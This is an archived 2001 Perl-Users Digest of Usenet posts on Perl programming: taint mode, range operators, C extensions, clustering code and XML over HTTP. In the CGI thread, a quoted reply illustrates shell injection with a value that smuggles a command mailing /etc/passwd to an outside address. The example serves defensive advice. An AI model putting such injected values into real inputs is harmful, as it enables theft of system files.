[18460] in Perl-Users-Digest
Perl-Users Digest, Issue: 628 Volume: 10
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Wed Apr 4 14:10:50 2001
Date: Wed, 4 Apr 2001 11:10:26 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <986407825-v10-i628@ruby.oce.orst.edu>
Content-Type: text
Perl-Users Digest Wed, 4 Apr 2001 Volume: 10 Number: 628
Today's topics:
Re: Perl Tutorial "Program Repair Shop and Red Flags" 2 (Randal L. Schwartz)
Re: Perl Tutorial "Program Repair Shop and Red Flags" 2 (Mark Jason Dominus)
Re: Perl Tutorial "Program Repair Shop and Red Flags" 2 <godzilla@stomp.stomp.tokyo>
Please help (Dasdale)
Re: Please help (John Joseph Trammell)
Problem Writing extension in C on windows NT platform <mkuin@globalrangers.com>
Range operator behaves strangely demerphq@hotmail.com
Re: Range operator behaves strangely nobull@mail.com
Re: Remove every other character? <mitiaNOSPAM@northwestern.edu.invalid>
Re: Script optimization question (Is mine the quickest? <jonni@ifm.liu.se>
Re: Security audit and taint checks. (Tad McClellan)
Re: Sending data from CGI script to other application <pratt@biop.ox.ac.uk>
Re: Sending data from CGI script to other application <joe+usenet@sunstarsys.com>
Re: Sending data from CGI script to other application <flavell@mail.cern.ch>
Re: Sending data from CGI script to other application <pratt@biop.ox.ac.uk>
Re: Sending data from CGI script to other application nobull@mail.com
using X to view local variables <cs61b-tf@cory.eecs.berkeley.edu>
Re: what are the new languages? <wayne.keenan@ntlworld.com>
XML request and response via HTTP - Intense Desperation <Klaus_member@newsranger.com>
Digest Administrivia (Last modified: 16 Sep 99) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: 04 Apr 2001 06:54:14 -0700
From: merlyn@stonehenge.com (Randal L. Schwartz)
Subject: Re: Perl Tutorial "Program Repair Shop and Red Flags" 23 April 2001
Message-Id: <m1n19wu5x5.fsf@halfdome.holdit.com>
>>>>> "Anno" == Anno Siegel <anno4000@lublin.zrz.tu-berlin.de> writes:
Anno> According to Mark Jason Dominus <mjd@plover.com>:
>> He is the managing editor of www.perl.com, a moderator of the
>> comp.lang.perl.misc newsgroup, ...
Anno> Now how did that slip in?
s/moderator/moderate/ :)
--
Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095
<merlyn@stonehenge.com> <URL:http://www.stonehenge.com/merlyn/>
Perl/Unix/security consulting, Technical writing, Comedy, etc. etc.
See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training!
------------------------------
Date: Wed, 04 Apr 2001 15:04:34 GMT
From: mjd@plover.com (Mark Jason Dominus)
Subject: Re: Perl Tutorial "Program Repair Shop and Red Flags" 23 April 2001
Message-Id: <3acb3801.6939$196@news.op.net>
Keywords: Millie, annum, omniscient, ye
In article <9aes17$knl$1@mamenchi.zrz.TU-Berlin.DE>,
Anno Siegel <anno4000@lublin.zrz.tu-berlin.de> wrote:
>[posted and mailed]
>
>According to Mark Jason Dominus <mjd@plover.com>:
>
>[...]
>
>> Here's the brochure description:
>
>[...]
>
>> He is the managing editor of www.perl.com, a moderator of the
>> comp.lang.perl.misc newsgroup, ...
>
>Now how did that slip in?
At the time I wrote the description for the brochure, I was the
managing editor of www.perl.com, although I am no longer.
comp.lang.perl.misc should of course be comp.lang.perl.moderated.
Thanks for catching this.
--
@P=split//,".URRUU\c8R";@d=split//,"\nrekcah xinU / lreP rehtona tsuJ";sub p{
@p{"r$p","u$p"}=(P,P);pipe"r$p","u$p";++$p;($q*=2)+=$f=!fork;map{$P=$P[$f^ord
($p{$_})&6];$p{$_}=/ ^$P/ix?$P:close$_}keys%p}p;p;p;p;p;map{$p{$_}=~/^[P.]/&&
close$_}%p;wait until$?;map{/^r/&&<$_>}%p;$_=$d[$q];sleep rand(2)if/\S/;print
------------------------------
Date: Wed, 04 Apr 2001 10:09:36 -0700
From: "Godzilla!" <godzilla@stomp.stomp.tokyo>
Subject: Re: Perl Tutorial "Program Repair Shop and Red Flags" 23 April 2001
Message-Id: <3ACB5550.CE4BF11C@stomp.stomp.tokyo>
Mark Jason Dominus wrote:
(various snippage)
> Anno Siegel wrote:
> > Mark Jason Dominus wrote:
> >> Here's the brochure description:
> >> He is the managing editor of www.perl.com, a moderator of the
> >> comp.lang.perl.misc newsgroup, ...
> > Now how did that slip in?
> At the time I wrote the description for the brochure, I was the
> managing editor of www.perl.com, although I am no longer.
> comp.lang.perl.misc should of course be comp.lang.perl.moderated.
> Thanks for catching this.
I am surprised perl.com alleges an editor; this is a relatively
poorly written site containing an above average amount of errors
in grammar, spelling, sentence structure and topic flow. I have
read more poorly written sites for certain. However, a site such
as perl.com which is associated with a publisher, O'Reilly, should
present perfection in language usage.
"With breathless expectation, the Perl community has been waiting
for Larry Wall to reveal how Perl 6 is going to take shape. In the
first of a series of "apocalyptic" articles, Larry reveals the ugly,
the bad, and the good parts of the Perl 6 design process."
This is their opening paragraph for their initial public access
page. A reasonable reader will quickly spot many writing style
errors, grammar errors and outright cockamamie statements.
I am rather curious what mode of transportation Perl 6
employs to "go" places, where, upon arrival, will take on
some unknown shape, much like a Shapeshifter. Others
would say this use of "is going to take shape" indicates
going to some unknown place to take a shape, literally
physically possess and remove a shape.
"...how Perl 6 is going to take shape."
* laughs *
Isn't it quite clear "how" this will happen? How this
will happen is at the hand of Larry Wall and others.
"...what features Perl 6 will have," seems less cockamamie.
Their "breathless expectation" should be written as,
"breathless anticipation" as "breathless" and "expectation"
are an adjectival mismatch; very poor style.
Use of "has been waiting" indicates the Perl Community is
no longer waiting for Larry Wall's Perl 6 release. Odd,
don't you think? I would think the Perl Community "is"
waiting for this new release. Reads to be a temporal
tangle, for sure.
Their subtle apocalyptic reference to an infamous Marlon Brando
movie, clearly does not relate to an infamous western movie
starring one of my favorite men, Clint Eastwood, noted by the
title of his movie quoted backwards by the writer of this
perl.com opening page.
It is said, "The first few minutes of an interview,
are the most important." This cockamamie opening for
perl.com is of such a humorous nature, such a comical
commentary on the relative writing skills of those
maintaining perl.com, my presumption is perl.com
proper, after my reading of their opening paragraph,
is hoping to impress the illiterate clowns amongst us.
With all due respect, Mr. Dominus, an editor worth the weight
of her or his red line pencil, would not be merciful in editing
your cited article; it would be left a bloody red mess, with
prejudice, for your ironic misspelling of "misspell." Your
article, although well intended and informative, is a reflection
of the poor writing skills exhibited throughout perl.com's pages;
it is riddled with awkward writing and, grammatical errors.
My opinion is, perl.com and O'Reilly are neither qualified
nor entitled to lay claim to having an editor.
Godzilla!
------------------------------
Date: 04 Apr 2001 17:17:54 GMT
From: dasdale@cs.com (Dasdale)
Subject: Please help
Message-Id: <20010404131754.09485.00002130@ng-mp1.news.cs.com>
i am trying to learn perl, and am heving trouble opening the very first, simple
scripts. all it is to do is print to screen... i have no printer on my
system... is there some deep part of the OS that sees that, and won't let it
run? i am running Windows and Linux, neither OS will run these Perl scripts.
also, how should i be opening these??? i am trying DOS in Windows, and BASH in
Linux.
please help, thanks in advance
------------------------------
Date: Wed, 04 Apr 2001 17:26:06 GMT
From: trammell@bayazid.hypersloth.invalid (John Joseph Trammell)
Subject: Re: Please help
Message-Id: <slrn9cmk7p.ek9.trammell@bayazid.hypersloth.net>
On 04 Apr 2001 17:17:54 GMT, Dasdale <dasdale@cs.com> wrote:
> i am trying to learn perl, and am heving trouble opening the very
> first, simple scripts.
What are you trying, and what about it isn't working?
> i am running Windows and Linux ...
I can't help you with Windows, but I can with Linux.
Can I suggest you invest $20 in a copy of 'Learning Perl'?
It might save you some grief.
------------------------------
Date: Wed, 4 Apr 2001 16:19:48 +0200
From: "Mark Kuin" <mkuin@globalrangers.com>
Subject: Problem Writing extension in C on windows NT platform
Message-Id: <9afaiq$lk6$1@news1.xs4all.nl>
I have a question regarding writing C extensions on a windows NT platform.
I tried the turorial for writing XSUBs (perlXStut), but I ran into some
problems.
The config.pm if configured to use visualc, but I don't have that program.
I do have the (free) c-compilers
djgpp (http://www.delorie.com/djgpp/) and
lcc(http://www.cs.virginia.edu/~lcc-win32/), but I don't know how to
set the options in the config.pm file.
Has anybody succeeded in configuring the activestate perl with one of these
c-compilers, or with another (free) c-compiler?
I tried these settings in the config.pm. The program will compile when using
nmake, but I get a DR Watson error when the linking has started.
cc='lcc'
ccflags='-O1 -MD -DNDEBUG -DWIN32 -D_CONSOLE -DNO_STRICT -DHAVE_DES_FCRYPT
-DPERL_IMPLICIT_CONTEXT -DPERL_IMPLICIT_SYS -DPERL_MSVCRT_READFIX'
ld='lcclnk'
lddlflags='-dll -nologo -nodefaultlib -release -libpath:"C:\Perl\lib\CORE"
-machine:x86'
The last line which is executed (and crashes) is:
lcclnk -out:blib\arch\auto\Mytest\Mytest.dll -dll -nologo -nodefaultlib
-release -libpath:"C:\Perl\lib\CORE" -machine:x86 Mytest.obj
C:\Perl\lib\CORE\perl56.lib oldnames.lib kernel32.lib user32.lib gdi32.lib
winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib
netapi32.lib uuid.lib wsock32.lib mpr.lib winmm.lib version.lib odbc32.lib
odbccp32.lib msvcrt.lib -def:Mytest.def
These are the errors that are displayed.
unrecognized option -nologo. Ignored
unrecognized option -release. Ignored
unrecognized option -machine:x86. Ignored
unrecognized option -def:Mytest.def. Ignored
NMAKE : fatal error U1077: 'C:\WINNT\system32\cmd.exe' : return code
'0xc0000005
'
Stop.
I hope someone out there can help me.
Mark
------------------------------
Date: Wed, 04 Apr 2001 15:15:56 GMT
From: demerphq@hotmail.com
Subject: Range operator behaves strangely
Message-Id: <MUGy6.142363$47.2080612@news.bc.tac.net>
Hello all.
Any ideas on the following:
my @lowerltrs=("a".."d");
my @punct=("!".."/"); # this is wrong for some reason??
print join(",",@lowerltrs)."\n"; # prints 'a,b,c,d'
print join(",",@punct)."\n"; # prints '!'
For some reason the range operator seems to not work in the second case. But the docs say it should....
Thanks,
demerphq
==================================
Posted via http://nodevice.com
Linux Programmer's Site
------------------------------
Date: 04 Apr 2001 17:40:14 +0100
From: nobull@mail.com
Subject: Re: Range operator behaves strangely
Message-Id: <u9n19w8vpt.fsf@wcl-l.bham.ac.uk>
demerphq@hotmail.com writes:
> my @punct=("!".."/"); # this is wrong for some reason??
> For some reason the range operator seems to not work. But the docs say it should....
The docs say:
The range operator (in list context) makes use of the
magical auto-increment algorithm if the operands are
strings.
And the description of "the magical auto-increment algorithm" says:
The auto-increment operator has a little extra builtin
magic to it. If you increment a variable that is numeric,
or that has ever been used in a numeric context, you get a
normal increment. If, however, the variable has been used
in only string contexts since it was set, and has a value
that is not the empty string and matches the pattern
`/^[a-zA-Z]*[0-9]*$/', the increment is done as a string,
preserving each character within its range, with carry:
print ++($foo = '99'); # prints '100'
print ++($foo = 'a0'); # prints 'a1'
print ++($foo = 'Az'); # prints 'Ba'
print ++($foo = 'zz'); # prints 'aaa'
Can you please submit a perlbug report detailing where you found
documentation that contradicts this.
--
\\ ( )
. _\\__[oo
.__/ \\ /\@
. l___\\
# ll l\\
###LL LL\\
------------------------------
Date: Wed, 04 Apr 2001 11:03:01 -0600
From: Dmitry Epstein <mitiaNOSPAM@northwestern.edu.invalid>
Subject: Re: Remove every other character?
Message-Id: <3ACB53C5.E82C9536@northwestern.edu.invalid>
Philip Lees wrote:
>
> On Wed, 04 Apr 2001 07:30:28 GMT, rgarciasuarez@free.fr (Rafael
> Garcia-Suarez) wrote:
>
> >Dmitry Epstein wrote in comp.lang.perl.misc:
> >> What would be an elegant (and preferably efficient) way to remove every
> >> other character from a string?
> >
> >Is this what you want ?
> >
> >s/(.)./$1/g
D'oh!
> TMTOWTDI:
Huh?
> $_ = 'some long string';
> my $x;
> print map{++$x%2?$_:''}split//; # odd characters
$x = 0; # !!!
> print map{$x++%2?$_:''}split//; # even characters
Or:
print grep {++$x%2} split //;
$x = 0;
print grep {$x++%2} split //;
Thanks for all the replies!
------------------------------
Date: Wed, 4 Apr 2001 15:43:05 +0200
From: "Jonas Nilsson" <jonni@ifm.liu.se>
Subject: Re: Script optimization question (Is mine the quickest???)
Message-Id: <9af88j$45b$1@newsy.ifm.liu.se>
"Logan Shaw" <logan@cs.utexas.edu> wrote in message
news:9aelvp$rn4$1@boomer.cs.utexas.edu...
> The very first thing you do is to sort all your points by X
> coordinate. Then, go through the sorted list of points, and if the X
> distance between any two adjacent points is more than the threshold,
> split the list at that point.
>
> This will give you a number of sub-lists.
>
> One you've got all these sub-lists, do the same thing on each sub-list
> except with Y coordinates, creating sub-sub-lists.
>
I've thought about what Logan writes, and i've come up with an algorithm
that in my moderate computer will cluster 20000 points in a few seconds.
This is how it is done:
All points is defined by x-coordinate y-coordinate and a reference. So one
point is:
$point=[$x,$y,$ref];
Well one cluster is just a bunch of points that hang together. Like this:
$cluster=[$point1,$point2,$point3...];
And finally one problem is a list of one or more clusters like this:
$problem=[$cluster1,$cluster2,...];
or written out:
$problem=[ [ [$x1,$y1,$ref1] , [$x2,$y2,$ref2] ], [ ... ] , [ ... ] ] ];
Now the implementation:
The $problem variable is called $clusters in my code. I begin by pushing all
the points in as one big cluster into $clusters.
ITER:
Then I sort the points in each cluster by x-cooridinate.
I go through all points in first cluster and when I see a jump bigger than
the defined difference, I split the cluster into two clusters at that point.
Then the same with next cluster, and next and so on...
Then I sort the points in each cluster by y-cooridinate.
And do the same as for the x-coordinate
I repeat from ITER until no more clusters is produced by one pass.
__CODE__
use strict;
use Benchmark;
sub split_clusters {
my $clusterref=shift;
my $item=shift;
my $dist=shift;
my $where=0;
CLUSTER: for (my $cluster=0;$cluster<=$#{$clusterref};$cluster++) {
next CLUSTER unless (@{${$clusterref}[$cluster]}>1);
for (my $posi=1;$posi<=$#{${$clusterref}[$cluster]};$posi++) {
last unless defined($clusterref->[$cluster]->[$posi]);
if
(($clusterref->[$cluster]->[$posi]->[$item]-$clusterref->[$cluster]->[$posi-
1]->[$item]) > $dist) {
unshift
@{$clusterref},[splice(@{$clusterref->[$cluster]},$where,$posi-$where)];
next CLUSTER;
}
}
}
}
sub sort_clusters {
my $clusterref=shift;
my $item=shift;
for (@{$clusterref}) {
@{$_}=sort {$a->[$item] <=> $b->[$item]} @{$_};
}
}
sub print_clusters { #Isn't used in this code
my $i=1;
for (@{$_[0]}) {
print "Cluster ",$i++,"\n";
print "-----------\n";
for (@{$_}) {
print "(",join(",",@{$_}),")\n";
}
print "\n";
}
}
$|=1;
my (@points);
print "Generating random points.\n";
for (1..20000) { #Just some random points
push @points,[int rand 1000+1000*int rand 1000,int rand 1000+1000*int rand
1000,'Item'.$_];
}
print "Clustering\n";
my @clusters=(\@points);
my $old=0;
my $count=1;
my $starttime=new Benchmark;
while (@clusters-$old) {
$old=@clusters;
print "Pass: ",$count++,", clusters: ",$old,"\n";
sort_clusters(\@clusters,0); # Sort by 0:th element (x-coordinate)
split_clusters(\@clusters,0,800); # Split by 0:th element (x-coordinate)
using 800 as threshold
sort_clusters(\@clusters,1); # Sort by 1:st element (y-coordinate)
split_clusters(\@clusters,1,800); # Split by 1:st element (y-coordinate)
using 800 as threshold
}
my $stoptime=new Benchmark;
print "\n";
print "Clusters: ",scalar @clusters,"\n";
print "Time to cluster: ",timestr(timediff($stoptime,$starttime)),"\n";
--
_______________________________
Jonas Nilsson
------------------------------
Date: Wed, 4 Apr 2001 09:06:58 -0400
From: tadmc@augustmail.com (Tad McClellan)
Subject: Re: Security audit and taint checks.
Message-Id: <slrn9cm73i.g9k.tadmc@tadmc26.august.net>
Owen Cook <rcook@pcug.org.au> wrote:
>
>[root@home 5.6.0]# perldoc CPAN
>Superuser must not run /usr/bin/perldoc without security audit and taint
>checks.
>
>I would love to deactivate this message and its effect
If you _want_ to do things as root that do not *require* root, then
you should not be allowed to have the root password. You are not
ready for it yet.
Responsibility comes with privilege.
>on trying to do a
>perdoc as root. Is this possible,
Probably.
>and if so, How?
I dunno. If you want help getting your system cracked, you should
ask in the appropriate newsgroup, such as any containing 'warez'
in the newsgroup name.
System Administrators are supposed to make their systems _more_
secure, not go looking for ways of opening up security holes.
Expecting a merit raise this year?
--
Tad McClellan SGML consulting
tadmc@augustmail.com Perl programming
Fort Worth, Texas
------------------------------
Date: Wed, 4 Apr 2001 16:31:19 -0500
From: "David Pratt" <pratt@biop.ox.ac.uk>
Subject: Re: Sending data from CGI script to other application
Message-Id: <9afe78$nph$1@news.ox.ac.uk>
Tried that, and perl still complains. Any other ideas?
Dave
Damian James <damian@qimr.edu.au> wrote in message
news:slrn9cm1e8.b56.damian@puma.qimr.edu.au...
> David Pratt chose Wed, 4 Apr 2001 11:44:44 -0500 to say this:
> >...
> >system "make_surf -radius $radius -size $size" etc.
> >
> >However, when running under perl -T as I have to to allow this to be
safe,
> >perl complains about unsafe usage.
> >
>
> See perldoc perlsec for information about untainting.
>
> >What is the safe way of passing information, having untainted it, to
> >subsiduary applications. This information also includes the random number
of
> >the CGITempxxxxx file.
> >
>
> See perldoc -f system -- you probably want to pass the arguments to system
> as a list, rather than a string, thus avoiding the need for the string to
> be interpreted by the shell.
>
> You want to avoid shell interpretation in case the last argument contains
> something like:
>
> ;mail evil@bastards.org </etc/passwd
>
> Of course, your untainting should have fixed that :-).
>
> HTH,
>
> Cheers,
> Damian
> --
>
@:=grep!($;+=m!$/|#!),split//,<DATA>;@;=0..$#:;while(@;){for($;=@;;--$;;){;(
>
$:=rand$;+$|)==$;&&next;@;[$;,$:]=@;[$:,$;]}push@|,shift@;if$;[0]==@|;select
> $,,$,,$,,1/80;print qq x\bxx((@;+@|)*$|++),@:[@|,@;],!@;&&$/} __END__
> Just another Perl Hacker # rev 3 -- a JAPH in progress, I guess...
------------------------------
Date: 04 Apr 2001 11:52:23 -0400
From: Joe Schaefer <joe+usenet@sunstarsys.com>
Subject: Re: Sending data from CGI script to other application
Message-Id: <m3hf04vf0o.fsf@mumonkan.sunstarsys.com>
"David Pratt" <pratt@biop.ox.ac.uk> writes:
> system "make_surf -radius $radius -size $size" etc.
It might be better to use the list form
system("make_surf", "-radius", $radius, "-size", $size) and die "$!:$?";
but I doubt that is the source of your problem.
> However, when running under perl -T as I have to to allow this to be
> safe, perl complains about unsafe usage.
When replying to someone asking for help, people often complain
about being provided with vague information.
> What is the safe way of passing information, having untainted it, to
> subsiduary applications. This information also includes the random
> number of the CGITempxxxxx file.
How about showing
1) what you did to %ENV
2) where $radius and $size come from
3) what you did to untaint them
4) the actual error message and offending line of code
Better still would be an actual code snippet that reproduces the
problem. You can replace "make_surf" with "echo" and the taint
problems should be unaffected.
HTH
--
Joe Schaefer "Always forgive your enemies; nothing annoys them so much."
-- Oscar Wilde
------------------------------
Date: Wed, 4 Apr 2001 18:14:34 +0200
From: "Alan J. Flavell" <flavell@mail.cern.ch>
Subject: Re: Sending data from CGI script to other application
Message-Id: <Pine.LNX.4.30.0104041809330.25578-100000@lxplus003.cern.ch>
On Wed, 4 Apr 2001, David Pratt jeopardized:
> Tried that, and perl still complains. Any other ideas?
Yes. My "other idea" is that I'd recommend putting anyone whose
reaction to a helpful response is so incoherent and ill-mannered into
a killfile.
You're supposed to quote the specific point(s) at issue, show what you
did about them and show the readers how the results failed to come up
to your expectations. "perl still complains" is about as useless as
"doesn't work".
Bye.
------------------------------
Date: Wed, 4 Apr 2001 18:46:37 -0500
From: "David Pratt" <pratt@biop.ox.ac.uk>
Subject: Re: Sending data from CGI script to other application
Message-Id: <9afm4u$qtd$1@news.ox.ac.uk>
Sorry to have offended.
#!/usr/bin/perl -wT
.
.
system "/usr/tmp/surfgen/$random.make_surf -random $random -radius radius >
/usr/tmp/surfgen/$random.scrap &";
.
.
etc
Gives when run
Insecure dependency in system while running with -T switch at .... etc
Any other ideas as to how to pass the data from the CGI script to the
make_surf program other than via a system command?
Thanks
Dave
Alan J. Flavell <flavell@mail.cern.ch> wrote in message
news:Pine.LNX.4.30.0104041809330.25578-100000@lxplus003.cern.ch...
> On Wed, 4 Apr 2001, David Pratt jeopardized:
>
> > Tried that, and perl still complains. Any other ideas?
>
> Yes. My "other idea" is that I'd recommend putting anyone whose
> reaction to a helpful response is so incoherent and ill-mannered into
> a killfile.
>
> You're supposed to quote the specific point(s) at issue, show what you
> did about them and show the readers how the results failed to come up
> to your expectations. "perl still complains" is about as useless as
> "doesn't work".
>
> Bye.
>
------------------------------
Date: 04 Apr 2001 18:43:36 +0100
From: nobull@mail.com
Subject: Re: Sending data from CGI script to other application
Message-Id: <u9d7assgqf.fsf@wcl-l.bham.ac.uk>
"David Pratt" <pratt@biop.ox.ac.uk> writes:
> Sorry to have offended.
If being offensive is not your intension why are you posting jeopary-style?
> #!/usr/bin/perl -wT
> .
> .
>
> system "/usr/tmp/surfgen/$random.make_surf -random $random -radius radius >
> /usr/tmp/surfgen/$random.scrap &";
No, see "perldoc perlsec" for intructions on using system() in taint mode.
--
\\ ( )
. _\\__[oo
.__/ \\ /\@
. l___\\
# ll l\\
###LL LL\\
------------------------------
Date: Wed, 4 Apr 2001 07:21:20 -0700
From: "David Liu" <cs61b-tf@cory.eecs.berkeley.edu>
Subject: using X to view local variables
Message-Id: <9afail$nrp$1@agate.berkeley.edu>
Hi,
With regards to the debugger: Does anybody know how to dump local variables
with the 'X' command?
for example:
sub dumb{
my $x1 = shift;
my $x2 = shift;
my $x3 = shift;
my $x4 = shift;
...
<some line x>
}
Suppose that I breakpoint at <some line x>. I want to be able to say X ~x
and get a dump of all four variables. I know how to do it with x, but the
ability to refer to variables by regular expression is what interests me.
TIA.
------------------------------
Date: Wed, 04 Apr 2001 17:45:40 +0100
From: "wayne.keenan" <wayne.keenan@ntlworld.com>
Subject: Re: what are the new languages?
Message-Id: <3ACB4FB3.FF0B2819@ntlworld.com>
it one of those "works for me" syndromes. Try later, was it a DNS error?
Dmitry Epstein wrote:
> "wayne.keenan" wrote:
> > and for the IDE:
> > http://open-perl-ide.sourceforge.net
> > http://cmdoc.codemagiccd.com/
>
> Funny, I just tried both sites, and neither of them works, neither in
> Netscape 4 nor in IE5. An international conspiracy?
------------------------------
Date: Wed, 04 Apr 2001 17:07:22 GMT
From: Klaus Wright <Klaus_member@newsranger.com>
Subject: XML request and response via HTTP - Intense Desperation
Message-Id: <exIy6.1658$jz.140233@www.newsranger.com>
Following this list closely, I have come to the conclusion that this may be the
only place in the universe where I can ask for advice with my dilema. In a
nutshell, a search box (perl script) on my site has to send the following (XML)
request to a remote server. The script must then receive the response below,
and route it to the appropriate style sheet in order to render it in a browser.
The problem is that this HTTP request must be sent verbatim - with the POST
action poining to a relative URI, and the HOST header field to the exact server
IP and port. After connecting, the XML message must be sent, a response
received, and the whole mess must be rendered in a browser.
I have no clue how to go about sending the http post while specifying a URI and
host (SOAP does it, but unfortunately SOAP needs to run on both the server and
client and XML::Stream hints at it, but does not let you seperate the URI and
host.) 5 consecutive days of Googling this dilema has brought migraines and
hostility into my life.
This would be very easy - if I was retrieving an XML file from a remote location
- however, I am sending an HTTP request containing XML (the query), and in
response I am receiving an XML "instance document" (search results).
If anyone can offer me even two or three syllables of suggestion/guidance in the
proper direction (which modules, versions, sample scripts could be used) I would
insanely appreciate it. If anyone has a few spare minutes on their hands, or
has a similar script laying around gathering dust, I would be ecstatic to offer
compensation for anything that would bring me one step closer to a solution.
Thank you again.
Klaus
ps - sample request/response transaction (created by my tormentors to show me
"how its supposed to look")
##################
REQUEST
##################
POST /NASApp/TransactionInterfaceV1_0/DispatcherServlet HTTP/1.1
Referrer: http://www.somebsp.com/search_page.html
User-Agent: BSP_name_here
Host: twbtest.database1.com:4321
Content-type: text/xml; charset=UTF-8
Content-length: 40
<ServerML xmlns="com/xpegs/v2000Q3/ServerML" >
<Head>
<Process DataPath="/ServerML/Form/PropertySearch[1]"
Function="TI/PropertySearch/V1_0" Token="12ab />
<Route Source="ADSCode" Destination="PEGSCode" >
<Operation Action="create" DataPath="/ServerML/Form/PropertySearch[1]"
StartTime="23:59:59.999"
TotalProcessTime="00:00:00.025" App="SomeKillerApp" AppVer="4.5.2"
Success="True" />
</Route>
</Head>
<Form>
<PropertySearch MaxCount="100" PrimarySortOrder="PropertyName">
<DateRange InDate="2000-12-24" OutDate="2000-12-25" />
<BasicSearch>
<Brand Code="BW" />
</BasicSearch>
</PropertySearch>
</Form>
</ServerML>
#####################
RESPONSE
#####################
HTTP/1.1 200 OK
Server: Netscape-Enterprise/4.1
Date: Mon, 20 Sep 1999 15:58:22 GMT
Content-Length: 4259
Content-Type: text/xml
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<ServerML xmlns="com/xpegs/v2000Q3/ServerML" >
<Head>
<Route Source="PEGSCode" Destination="ADSCode" >
<Operation Action="create" DataPath="/ServerML/PropertySearchState[1]"
StartTime="01:01:02.001"
TotalProcessTime="00:00:00.240" App="NAS" AppVer="2.3" Success="True" />
</Route>
</Head>
<PropertySearchState MoreProps="" StateId="" NumResults="" Token="12ab" >
<Property Code="" AvailabilityStatus="" Name="" MatchedAmenityCount="" >
<Phone Number="" Type="" />
<PostalAddress Line1="" Line2="" Line3="" Line4="" City="" StateCode=""
PostalCode="" CountryCode="" Type=" />
<GeoInfo Latitude="" Longitude="" />
<PriceRange Min="" Max="" Currency="" />
</Property>
</PropertySearchState>
</ServerML>
------------------------------
Date: 16 Sep 99 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 16 Sep 99)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
| NOTE: The mail to news gateway, and thus the ability to submit articles
| through this service to the newsgroup, has been removed. I do not have
| time to individually vet each article to make sure that someone isn't
| abusing the service, and I no longer have any desire to waste my time
| dealing with the campus admins when some fool complains to them about an
| article that has come through the gateway instead of complaining
| to the source.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V10 Issue 628
**************************************